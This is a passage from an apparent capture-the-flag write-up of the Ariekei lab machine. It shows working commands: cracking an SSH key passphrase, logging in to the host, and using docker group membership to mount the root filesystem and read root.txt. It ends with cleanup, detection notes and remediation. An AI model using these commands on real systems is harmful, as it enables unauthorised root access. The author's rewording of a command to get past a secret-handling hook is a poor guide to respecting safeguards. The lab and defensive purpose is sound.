-rw------- 1 1000 1000 1766 Sep 24  2017 id_rsa
-rw-r--r-- 1 1000 1000  407 Sep 24  2017 id_rsa.pub

/home/spanishdancer/content:
total 16
drwxrwxr-x 3 1000 root 4096 Sep  2  2021 .
drwxr-xr-x 5 1000 1000 4096 Sep  2  2021 ..
drwxrwxr-x 9 1000 root 4096 Sep  2  2021 blog
-rwxrwxr-x 1 1000 root  487 Sep 16  2017 index.html
saved loot/sd/authorized_keys: 407 bytes 
[...]
saved loot/sd/id_rsa.pub: 407 bytes 
saved artifacts/user.txt: 33 bytes 

[lr exit 0]

The wrong password is refused, the Dockerfile’s is accepted, and the user flag is on disk. authorized_keys and id_rsa.pub are the same size.

Phase 5: passphrase, host login, docker group

My laptop’s secret-handling hook twice refused earlier forms of this command, which printed lines of key material; the form that ran prints counts only. I remembered this key having a weak passphrase, and ran the crack regardless:

cmp loot/sd/authorized_keys loot/sd/id_rsa.pub && echo "authorized_keys equals id_rsa.pub"; echo "ENCRYPTED lines in the private key: $(grep -c ENCRYPTED loot/sd/id_rsa)"; cd ../..; bin/kali ariekei "cd /work/loot/sd; ssh2john id_rsa > key.hash; wc -c key.hash; timeout 240 john --wordlist=/usr/share/wordlists/rockyou.txt --pot=john.pot key.hash > /dev/null 2>&1; echo john exit \$?; umask 077; john --pot=john.pot --show key.hash | head -1 | cut -d: -f2 | tr -d \"\\n\" > pass; echo passphrase length \$(wc -c < pass); chmod 644 pass john.pot"
authorized_keys equals id_rsa.pub
ENCRYPTED lines in the private key: 1
2458 key.hash
john exit 0
passphrase length 7
[lr exit 0]

The two files are identical, the key is encrypted, and john found a seven-character passphrase in rockyou.txt. The host runner makes a passphrase-free copy of the key on first use and feeds a command file to bash -s:

#!/bin/bash
# run a file of commands on the host as spanishdancer over SSH on 22. usage: 21-host.sh <commands file>   (cwd machines/ariekei)
# first use makes loot/sd/key2, a copy of the key with the cracked passphrase removed
set -euo pipefail
cd ../..
bin/kali ariekei "cd /work/loot/sd; [ -s key2 ] || { cp id_rsa key2; chmod 600 key2; ssh-keygen -q -p -P \"\$(cat pass)\" -N '' -f key2 > /dev/null; }; ssh -i key2 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes -o LogLevel=ERROR spanishdancer@10.129.95.221 bash -s" < "machines/ariekei/$1"
id; hostname; uname -r; ip -4 -o addr | cut -c1-70
ls -la ~ | head -20
ls -la /var/run/docker.sock; grep docker /etc/group
docker images; docker ps --format '{{.Names}}\t{{.Image}}\t{{.Ports}}'
sudo -n -l 2>&1 | head -3
bash artifacts/21-host.sh artifacts/21-enum.sh
uid=1000(spanishdancer) gid=1000(spanishdancer) groups=1000(spanishdancer),999(docker)
ariekei.htb
4.4.0-87-generic
1: lo    inet 127.0.0.1/8 scope host lo\       valid_lft forever prefe
2: ens160    inet 10.129.95.221/16 brd 10.129.255.255 scope global ens
3: docker0    inet 172.17.0.1/16 scope global docker0\       valid_lft
4: br-6a905a084b79    inet 172.23.0.1/24 scope global br-6a905a084b79\
5: br-cad56989cd1a    inet 172.24.0.1/24 scope global br-cad56989cd1a\
total 32
drwxr-xr-x 5 spanishdancer spanishdancer 4096 Sep  2  2021 .
drwxr-xr-x 3 root          root          4096 Sep  2  2021 ..
-rw-r--r-- 1 spanishdancer spanishdancer 3791 Sep 23  2017 .bashrc
drwx------ 2 spanishdancer spanishdancer 4096 Sep  2  2021 .cache
drwxrwxr-x 3 spanishdancer root          4096 Sep  2  2021 content
-rw-r--r-- 1 spanishdancer spanishdancer  655 Sep 16  2017 .profile
drwx------ 2 spanishdancer spanishdancer 4096 Sep  2  2021 .ssh
-r--r----- 1 spanishdancer root            33 Nov 24 13:47 user.txt
srw-rw---- 1 root docker 0 Nov 24 13:47 /var/run/docker.sock
docker:x:999:spanishdancer
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
waf-template        latest              399c8876e9ae        9 years ago         628MB
bastion-template    latest              0df894ef4624        9 years ago         251MB
web-template        latest              b2a8f8d3ef38        9 years ago         185MB
bash                latest              a66dc6cea720        9 years ago         12.8MB
convert-template    latest              e74161aded79        10 years ago        418MB
convert-live	convert-template	8080/tcp
bastion-live	bastion-template	0.0.0.0:1022->22/tcp
waf-live	waf-template	80/tcp, 0.0.0.0:443->443/tcp
blog-test	web-template	80/tcp
youthful_elion	bastion-template	22/tcp
gifted_elion	web-template	80/tcp
sudo: unable to resolve host ariekei.htb: Connection timed out
sudo: a password is required
[lr exit 0]

spanishdancer on the host, in group docker, with a socket that group can write to and a local image called bash. Two containers with generated names (youthful_elion, gifted_elion) were also running; I did not look into them. The last step mounts the host’s root filesystem in a container and changes root into it:

docker run --rm -i -v /:/h bash chroot /h bash -s <<'IN'
id; hostname
ls -la /root
echo "B64FILE:root.txt:$(base64 -w0 /root/root.txt)"
echo "### crontabs"; crontab -l 2>&1 | grep -v '^#'; ls /etc/cron.d
echo "### firewall"; iptables -S 2>&1 | head -40
echo "### sshd"; grep -v -E '^#|^$' /etc/ssh/sshd_config | head -30
echo "### bastion sshd_config"; grep -v -E '^#|^$' /opt/docker/containers/bastion-live/sshd_config | head -30
echo "### modsecurity engine and the rule that names the function definition"; grep -n -E '^SecRuleEngine' /opt/docker/containers/waf-live/modsecurity.conf; grep -rn -l '() {' /opt/docker/containers/waf-live/ 2>/dev/null | head -5
echo "### nginx server blocks"; grep -n -E 'server_name|proxy_pass|listen|ModSecurity' /opt/docker/containers/waf-live/nginx.conf
echo "### what my uploads left"; ls -la /opt/docker/containers/convert-live/app/uploads /opt/docker/containers/convert-live/app/converted /opt/docker/containers/convert-live/app/static
echo "### ImageMagick in the converter"; docker exec convert-live sh -c 'convert -version | head -2; ls /etc/ImageMagick*/policy.xml /usr/local/etc/ImageMagick*/policy.xml 2>&1'
IN

The filter is the earlier one with one line changed by sed so that any .txt name is saved beside the user flag.

bash artifacts/21-host.sh artifacts/22-root.sh | python3 -I artifacts/22-filter.py
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
ed179405436d
total 28
drwx------  3 root root 4096 Nov 24 13:47 .
drwxr-xr-x 23 root root 4096 Sep  2  2021 ..
-rw-r--r--  1 root root 3126 Sep 23  2017 .bashrc
drwx------  2 root root 4096 Sep  2  2021 .cache
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root 1024 Sep 23  2017 .rnd
-r--------  1 root root   33 Nov 24 13:47 root.txt
saved artifacts/root.txt: 33 bytes 
### crontabs

*/5 * * * * /opt/admin/fix_cgi.sh
0 * * * * /opt/admin/clean_logs.sh
* * * * * /opt/admin/start_containers.sh
mdadm
popularity-contest
### firewall
iptables v1.6.0: can't initialize iptables table `filter': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
[...]
### ImageMagick in the converter
Version: ImageMagick 6.7.8-9 2014-06-10 Q16 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
ls: cannot access /usr/local/etc/ImageMagick*/policy.xml: No such file or directory
/etc/ImageMagick/policy.xml
[lr exit 0]

Root on the host filesystem (the hostname is the container’s) and the root flag saved. iptables could not be read from that container, which had no network capabilities; I did not go back for it.

Post-Exploitation

Before stopping the machine I took what only root can read and removed what I had left behind:

docker run --rm -i -v /:/h -v /var/run/docker.sock:/var/run/docker.sock bash chroot /h bash -s <<'IN'
echo "### /opt/admin"; ls -la /opt/admin; for f in /opt/admin/*.sh; do echo "--- $f"; cat $f; done
echo "### ImageMagick policy in the converter"; docker exec convert-live sh -c 'grep -v -E "^\s*$" /etc/ImageMagick/policy.xml | grep -c "<policy "; grep "<policy " /etc/ImageMagick/policy.xml'
echo "### WAF rule files that mention shellshock"; grep -rli shellshock /opt/docker/containers/waf-live/ 2>/dev/null | head; grep -n -E '^(SecAuditLog |SecAuditEngine|SecRequestBodyAccess)' /opt/docker/containers/waf-live/modsecurity.conf
echo "### WAF audit log lines for my Shellshock control"; ls -la /opt/docker/containers/waf-live/logs; grep -c '() {' /opt/docker/containers/waf-live/logs/*.log 2>/dev/null
echo "### beehive access log: Shellshock requests from the bastion path"; grep -c '() {' /opt/docker/containers/blog-test/logs/access.log; grep '() {' /opt/docker/containers/blog-test/logs/access.log | tail -1 | cut -c1-160
echo "### auth log: my logins"; grep -c 'Accepted publickey for spanishdancer' /var/log/auth.log
echo "### cleanup of what my uploads left (exploit.mvg is older than this session and stays)"
cd /opt/docker/containers/convert-live/app
rm -rf static; rm -f uploads/09-d0.mvg uploads/09-d6.mvg uploads/11-probe.mvg uploads/13-static.mvg uploads/14-common.mvg uploads/14-rm.mvg uploads/08-dot.png uploads/08-hello.txt
rm -f converted/09-d0.mvg.jpg converted/09-d6.mvg.jpg converted/11-probe.mvg.jpg converted/13-static.mvg.jpg converted/14-common.mvg.jpg converted/14-rm.mvg.jpg
ls -la . uploads converted; docker exec blog-test ls -la /dev/shm /tmp
IN
bash artifacts/21-host.sh artifacts/23-last.sh 2>&1 | cut -c1-240
### /opt/admin
total 24
drwx------ 2 root root 4096 Sep  2  2021 .
drwxr-xr-x 4 root root 4096 Sep  2  2021 ..
-rwx------ 1 root root  334 Sep 23  2017 clean_containers.sh
-rwx------ 1 root root  113 Sep 23  2017 clean_logs.sh
-rwx------ 1 root root  147 Feb 11  2018 fix_cgi.sh
-rwx------ 1 root root  447 Sep 23  2017 start_containers.sh
--- /opt/admin/clean_containers.sh
[...]
--- /opt/admin/clean_logs.sh
#!/bin/bash
rm -rf /opt/docker/containers/blog-test/logs/*.log
rm -rf /opt/docker/containers/waf-live/logs/*.log
[...]
### ImageMagick policy in the converter
15
    <policy domain="delegate" rights="none" pattern="mpeg:decode" />
    <policy domain="coder" rights="none" pattern="HTTP" />
    <policy domain="filter" rights="none" pattern="*" />
    <policy domain="path" rights="read" pattern="/repository/*" />
    <policy domain="resource" name="area" value="1GB"/>
[...]
### WAF rule files that mention shellshock
16:SecRequestBodyAccess On
183:SecAuditEngine RelevantOnly
193:SecAuditLog /var/log/modsec_audit.log
### WAF audit log lines for my Shellshock control
total 12
drwxr-xr-x 2 root root 4096 Nov 24 14:00 .
drwxr-xr-x 5 root root 4096 Sep  2  2021 ..
-rw-r--r-- 1 root root    2 Nov 24 13:47 nginx.pid
### beehive access log: Shellshock requests from the bastion path
grep: /opt/docker/containers/blog-test/logs/access.log: No such file or directory
grep: /opt/docker/containers/blog-test/logs/access.log: No such file or directory
### auth log: my logins
9
### cleanup of what my uploads left (exploit.mvg is older than this session and stays)
.:
total 24
drwxr-xr-x 4 root root 4096 Nov 25 01:10 .
drwxr-xr-x 3 root root 4096 Sep  2  2021 ..
-rw-r--r-- 1 root root 2867 Sep 26  2017 app.py
drwxr-xr-x 2 root root 4096 Nov 25 01:10 converted
-rw-r--r-- 1 root root   11 Sep 21  2017 requirements.txt
drwxr-xr-x 2 root root 4096 Nov 25 01:10 uploads

converted:
total 12
drwxr-xr-x 2 root root 4096 Nov 25 01:10 .
drwxr-xr-x 4 root root 4096 Nov 25 01:10 ..
-rw-r--r-- 1 root root    0 Sep 21  2017 .gitkeep
-rw-r--r-- 1 root root 2084 Nov 13  2017 exploit.mvg.jpg

uploads:
total 12
drwxr-xr-x 2 root root 4096 Nov 25 01:10 .
drwxr-xr-x 4 root root 4096 Nov 25 01:10 ..
-rw-r--r-- 1 root root    0 Sep 21  2017 .gitkeep
-rw-r--r-- 1 root root  163 Nov 13  2017 exploit.mvg
/dev/shm:
total 0
drwxrwxrwt 2 root root  40 Nov 25 06:07 .
drwxr-xr-x 5 root root 360 Nov 24 18:50 ..

/tmp:
total 8
drwxrwxrwt  2 root root 4096 Nov 25 06:10 .
drwxr-xr-x 60 root root 4096 Sep  2  2021 ..
[lr exit 0]

Two things need care. The grep on policy.xml printed five rules, but they are the five examples, in the same order, that the stock file carries inside its comment header, and a grep cannot tell a comment from a rule. The likelier reading is a stock policy with nothing in force; convert -list policy would have settled it and I did not run it.

The host directory for the WAF logs was empty and the Apache access.log did not exist, although my Shellshock requests were three to five minutes old. clean_logs.sh runs at minute 0, so it cannot have removed a record of them; the directory’s modification time is the first minute 0 after boot. My inference, not tested: the script unlinks the files once and the daemons keep writing to descriptors nobody can read. The ModSecurity audit log is configured at /var/log/modsec_audit.log inside the WAF container, a path I never read.

The uploads directory still held an exploit.mvg dated 2017, which I left in place; my own uploads, their converted copies and the static directory are gone, and /dev/shm and /tmp in the blog container are empty.

Defensive Analysis

None of these detections was tested on the box.

Phase 1. The uploads are MVG files with url( and a pipe in a fill line. As I understand ModSecurity 2.x (not checked against its documentation here), request-body rules do not see the content of multipart file parts; that takes SecUploadKeepFiles with an @inspectFile script, and the modsecurity.conf in the archive has SecUploadKeepFiles commented out. That would explain why the uploads passed. Process auditing would record python app.py spawning sh -c "curl" ... |mkdir, and a new static directory under the application is a file integrity event.

Phase 2. A root login on 1022 from an outside address. The bastion’s sshd logs at INFO; I did not read its log, and its start script mounts no log volume, so the record dies with the container.

Phase 3. Requests to /cgi-bin/stats with () { in the User-Agent that do not come from the proxy at 172.24.0.252 (the CGI printed REMOTE_ADDR as 172.24.0.1 for my request from the bastion). The Apache access log would show both, if it could be read: see the note on logs above.

Phase 4 and 5. On the host, auth.log held nine accepted public-key logins for spanishdancer, three of them mine; a count is all I took. A docker run with -v /:/h is visible in the Docker daemon’s events and to auditd as a mount of /.

Remediation

None of these was applied on the box; each has the check that would confirm it.

  1. Update ImageMagick and deny the coders the application does not need (MVG, MSL, URL, HTTPS, EPHEMERAL) in policy.xml. Dropping mvg from the allowed extensions is not the control if the coder is chosen by content. Check: the six-second payload, as .mvg and renamed .jpg, returns in baseline time, and convert -list policy shows the rules.
  2. Run the converter unprivileged with a read-only application directory. Check: mkdir static fails.
  3. Remove /opt/docker from the containers. Check: ls /common fails.
  4. Give the bastion a key stored nowhere else and filter its test-network leg. Check: the /dev/tcp request to 172.24.0.2:80 times out.
  5. Update bash in the blog image. Check: the header through the bastion returns the normal page.
  6. No passwords in Dockerfiles, no host home directory in a web container, a new user key with a real passphrase.
  7. Remove spanishdancer from docker. Check: docker ps is refused.
  8. Ship logs off the host before any job deletes them.

Key Takeaways

  • A WAF protects a path, not a host. The request that drew a block page on 443 ran untouched from the bastion, which was there by design.
  • A read-only mount is not a safe mount: /common only had to be read.
  • Blind execution does not need a reverse connection. Timing answered three questions in one request, and a static directory made the application its own output channel.
  • A control must share every gate with the test. My PNG never reached the converter; the zero-delay MVG was the control that counted.
  • Membership of docker is membership of root.
  • A grep of a configuration file is not the effective configuration. I nearly published a policy rule that was a comment.